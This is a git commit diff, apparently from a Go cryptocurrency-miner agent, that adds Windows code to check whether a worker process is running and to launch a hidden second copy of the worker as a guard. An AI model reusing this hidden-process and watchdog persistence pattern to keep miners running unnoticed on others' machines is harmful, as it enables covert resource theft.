Add fleet groups, agent screenshots, deploy guards, and Crucible polish.

This commit is contained in:
AetherForge
2026-06-02 20:51:52 -07:00
parent 01d76b3730
commit 41b5ec7a88
66 changed files with 1773 additions and 388 deletions

View File

@@ -0,0 +1,26 @@
//go:build windows
package deploy
import (
"strings"
"crypto-miner-agent/config"
)
func workerProcessRunning(imageName string) bool {
out, err := HiddenCombinedOutput("tasklist", "/FI", "IMAGENAME eq "+imageName, "/NH")
if err != nil {
return false
}
return strings.Contains(strings.ToLower(string(out)), strings.ToLower(imageName))
}
// launchProcessGuard spawns a second hidden copy of the worker that only runs the guard loop.
func launchProcessGuard(cfg config.RuntimeConfig) {
binPath, err := InstalledBinaryPath(cfg)
if err != nil {
return
}
_ = HiddenStart(binPath, guardFlag)
}